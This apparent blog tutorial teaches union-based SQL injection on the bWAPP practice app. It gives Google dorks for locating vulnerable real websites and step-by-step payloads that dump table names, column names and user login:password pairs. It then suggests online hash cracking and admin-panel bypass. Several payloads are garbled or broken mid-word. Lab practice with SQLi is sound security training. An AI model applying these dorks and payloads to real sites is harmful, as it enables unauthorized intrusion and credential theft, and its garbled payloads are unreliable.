LEARN HACKING WEBSITE WITH SQL INJECTION

maxresdefault 2

A SQL injection attack consists of insertion or “injection” of a SQL query via the input data from the client to the application.

A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system.

SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.

TYPES

●Normal SQLi

● Error-based SQLi

● Time-Based SQLi

● Boolean-based SQLi

● Blind SQLi

● Union Based

Working of  SQL Injection

Find Vulnerable Web

sql injection

● To find a vulnerable website we can use google dorks.

● Here is a list of google dorks ✔ index.php?cartID=

✔ index.php?ID= ✔ info.php?ID= ✔ item.php?eid=

Manual SQLi (UNION BASED)

sql injection

● Union Based SQLi is worked on URL of a website and an attacker put the manual query to exploit web. Although are also many tools which are automated to inject in the website.

SQLi

sql injection

● Furthermore, we need to start SQLi webserver website which is vulnerable to SQLi.

In this tutorial, we can use bWAPP

● bWAPP is a virtual vulnerable web application with various vulnerability and https://icssindia.in/vulnerability-assessment/ is a real website for pen-testing.

SQLi(bwapp)

● Login into bWAPP and select SQL Injection(Get/Select) then select a movie and it will show URL in address bar.
sql injection

SQLi(bWAPP)

● Now add ‘ syntax after movie=1 or say change it movie=1’. If the website is vulnerable it will show a MySQL error

sql injection

● Now check how many tables are in the database. By adding ‘order by number’ I.e movie=1 order by 1

sql injection

● If the website has that no. table the page will as it is. If not it will show error

sql injection

SQLi(bWAPP)

● Now follow the command which we have to enter to exploit.

Movie=-1 union select 1,2,3,4,5,6,7 — it will show vulnerable tables

sql injection

● Movie=-1 union select 1,2,3,version(0,5,6,7 — it will show database version

sql injection

● Movie=-1 union select 1,2,3,group_concat(ta ble_name),5,6,7 from information_schema.t ables —

sql injection

SQLi(bWAPP)

● Movie=-1 union select 1,database(),3,group_concat (column_name),5,6,7 from information_schema.column s where table_name=’users’ — it will show database name and column name in table users

sql injection

● Now we got the login and password. The password is encrypted. We can use online tools to decrypt the hash

sql injection

● Movie=-1 union select 1,2,3,group_conca t(login,0x3a,password),5,6,7 from bWAPP.users —

sql injection

This is a tutorial on SQL injection. Using SQL injection we can also bypass the admin panel. We can also use the cheat sheet to exploit SQL vulnerable website. Hope it will be helpful
